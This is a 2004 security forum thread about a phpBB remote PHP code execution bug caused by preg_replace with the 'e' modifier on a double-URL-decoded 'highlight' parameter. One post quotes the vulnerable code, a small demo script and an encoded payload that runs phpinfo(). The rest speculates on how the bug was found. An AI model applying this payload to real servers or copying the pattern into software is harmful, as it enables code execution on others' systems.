|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
String PHP execution |
|
Posted: Sat Dec 04, 2004 11:48 pm |
|
|
mosymuis |
Beginner |
|
|
Joined: Nov 18, 2004 |
Posts: 3 |
Location: Netherlands |
|
|
|
|
|
|
Hey Waraxe,
Could you tell me more about this type of PHP insertion? I'm sure you've seen Howdark.com's latest hack, wich executes PHP just by altering a string, like it was a XSS hack. I have figured out that this occurs when a double urldecoded() string passes a nested preg_quote() function, wich uses the "e" evaluate modifyer.
Code in phpBB:
Code: | $highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
// Split words and phrases
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
for($i = 0; $i < sizeof($words); $i++)
{
if (trim($words[$i]) != '')
{
$highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('*', '\w*', phpbb_preg_quote($words[$i], '#'));
}
} |
Code: | $message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))*)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1)); |
Demo:
Code: | <? echo preg_replace('##se', "preg_replace('#" . urldecode($_GET['var']) . "#', '', '')", 'foo'); ?> |
call script.php?var=%2527%252ephpinfo()%252e%2527 (decoded: '.phpinfo().')
I have two questions about this. First, are there more possibilities in PHP to accomplish this? Must this be done with two preg_replace functions, or does this technique work in other situations too? Or is this a unique example?
Second, how did Howdark figure this out?? The change of finding this type of hack in a open source system like phpBB must be minimal. How did he know this was even possible, and how did he find this?
Do you have any ideas? I can't ask him myself, because he quit the whole hacking scene and shut down his website. |
|
|
|
|
|
|
|
|
Posted: Sun Dec 05, 2004 12:16 am |
|
|
Leps |
Beginner |
|
|
Joined: Dec 03, 2004 |
Posts: 3 |
|
|
|
|
|
|
|
Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it.
This is probabbly not the only situation this works in, as I doubt phpBB is the only software to ever process variables like this.
It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. |
|
|
|
|
|
|
|
|
Posted: Sun Dec 05, 2004 12:22 am |
|
|
mosymuis |
Beginner |
|
|
Joined: Nov 18, 2004 |
Posts: 3 |
Location: Netherlands |
|
|
|
|
|
|
Waraxe is a she? Awesome.
Leps wrote: | Jessica found this by looking at the way urldecode() worked in phpBB's code, and how magic_quotes affected it. |
Ofcourse urldecode() is necessary to make it work, but I couldn't find a way to make this work without the nested preg_replace functions, with the e modifyer. Thefore I think this is the only way?
Leps wrote: | It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. |
%2527 is just a double HEX'ed single quote. What do you mean with this? |
|
|
|
|
Posted: Sun Dec 05, 2004 3:14 pm |
|
|
Leps |
Beginner |
|
|
Joined: Dec 03, 2004 |
Posts: 3 |
|
|
|
|
|
|
|
she = jessica = howdark.com ^^;; |
|
|
|
|
Posted: Sun Dec 05, 2004 3:25 pm |
|
|
mosymuis |
Beginner |
|
|
Joined: Nov 18, 2004 |
Posts: 3 |
Location: Netherlands |
|
|
|
|
|
|
Leps wrote: | she = jessica = howdark.com ^^;; |
I thought you ment Waraxe because of this:
Quote: | It's weird, because I had seen waraxe use the %2527 thing, but I don't know if it was before, or after she had used it with phpBB. |
|
|
|
|
|
www.waraxe.us Forum Index -> Remote file inclusion
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|